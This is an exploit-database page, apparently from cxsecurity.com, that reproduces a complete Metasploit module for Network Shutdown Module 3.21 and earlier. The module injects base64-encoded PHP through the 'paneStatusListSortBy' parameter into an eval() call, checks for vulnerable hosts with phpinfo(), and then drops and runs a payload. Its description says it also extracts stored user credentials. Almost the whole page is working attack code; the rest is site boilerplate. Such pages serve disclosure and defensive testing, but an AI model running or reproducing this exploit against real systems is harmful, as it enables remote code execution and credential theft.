Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection

2012-11-29 / 2012-11-30
Credit: h0ng10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/exploit/php_exe' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection', 'Description' => %q{ This module exploits a vulnerability in lib/dbtools.inc which uses unsanitized user input inside a eval() call. Additionally the base64 encoded user credentials are extracted from the database of the application. Please note that in order to be able to steal credentials, the vulnerable service must have at least one USV module (an entry in the "nodes" table in mgedb.db) }, 'Author' => [ 'h0ng10', # original discovery, msf module 'sinn3r' # PhpEXE shizzle ], 'License' => MSF_LICENSE, 'References' => [ ['OSVDB', '83199'], ['URL', 'http://secunia.com/advisories/49103/'] ], 'Payload' => { 'DisableNops' => true, 'Space' => 4000 }, 'Platform' => ['php', 'linux'], 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => 'Jun 26 2012' )) register_options( [ Opt::RPORT(4679) ], self.class) end def check # we use a call to phpinfo() for verification res = execute_php_code("phpinfo();die();") if not res or res.code != 200 print_error("Failed: Error requesting page") return CheckCode::Unknown end return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/) return CheckCode::Safe end def execute_php_code(code, opts = {}) param_name = rand_text_alpha(6) padding = rand_text_alpha(6) url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" res = send_request_cgi( { 'uri' => '/view_list.php', 'method' => 'POST', 'vars_get' => { 'paneStatusListSortBy' => url_param, }, 'vars_post' => { param_name => Rex::Text.encode_base64(code), }, 'headers' => { 'Connection' => 'Close', } }) end def no_php_tags(p) p = p.gsub(/^<\?php /, '') p.gsub(/ \?\>$/, '') end def exploit print_status("#{rhost}:#{rport} - Sending payload") unlink = (target['Platform'] == 'linux') ? true : false p = no_php_tags(get_write_exec_payload(:unlink_self => unlink)) execute_php_code(p) handler end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top